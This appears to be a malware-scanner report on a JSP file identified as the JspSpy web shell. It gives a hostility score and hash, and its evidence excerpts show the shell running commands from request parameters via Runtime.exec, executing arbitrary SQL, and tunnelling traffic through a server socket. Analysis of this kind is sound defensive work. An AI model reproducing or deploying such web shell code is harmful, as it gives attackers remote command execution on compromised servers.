Hostile ^92% Download

JspSpy Private Codz By - Ninty_encode.jsp

JspSpy web shell

JSP runs the cmd request parameterJSP tunnels through a server socket

SHA-2561b44554106e729679ad5bb830a5361a5bb1c64dbd605b006cc85b8a6982bafe3

Evidence

JSP executes a SQL string lines 87–104

87:43… l,uid,pwd);
88}
89public Object execute(String sql) throws Exception {
90if (isValid()) {
91stmt = conn.createStatement();
92if (stmt.execute(sql)) {
93return stmt.getResultSet();
94} else {
⋯10 lines

JSP reads a SQL parameter lines 1093–1103

1093:23… etParameter("url");
1094String uid = request.getParameter("uid");
1095String pwd = request.getParameter("pwd");
1096String sql = request.getParameter("sql");
1097String selectDb = request.getParameter("selectDb");
1098if (selectDb == null)
⋯5 lines

Java getRuntime call reference lines 1807–1819

1807:40… hr/>");
1808out.println("<pre>");
1809String command = request.getParameter("command");
1810if (!Util.isEmpty(command)) {
1811Process pro = Runtime.getRuntime().exec(command);
1812BufferedReader reader = new BufferedReader(new InputStreamReader(pro.getInputStream()));
1813String s = reader.readLine();
⋯6 lines

JSP reads a remote port lines 2494–2516

2494:115… 
2495try {
2496PrintWriter out = response.getWriter();
2497String localIP = request.getParameter("localIP");
2498String localPort = request.getParameter("localPort");
2499final String remoteIP = request.getParameter("remoteIP");
2500final String remotePort = request.getParameter("remotePort");
2501if (Util.isEmpty(localIP) || Util.isEmpty(localPort) || Util.isEmpty(remoteIP) || Util.isEmpty(remotePort))
2502return;
2503Object obj = JSession.getAttribute(PORT_MAP);
2504if (obj != null) {
2505ServerSocket s = (ServerSocket)obj;
2506s.close();
2507}
2508final ServerSocket server = new ServerSocket();
2509server.bind(new InetSocketAddress(localIP,Integer.parseInt(localPort)));
2510JSession.setAttribute(PORT_MAP,server);
⋯6 lines

JSP reads cmd request parameter lines 2905–2921

2905:14… 1000 * 60 * 60 * 24);
2906} else if (type.equals("ecmd")) {
2907Object o = JSession.getAttribute(SHELL_ONLINE);
2908String cmd = request.getParameter("cmd");
2909if (Util.isEmpty(cmd))
2910return;
⋯11 lines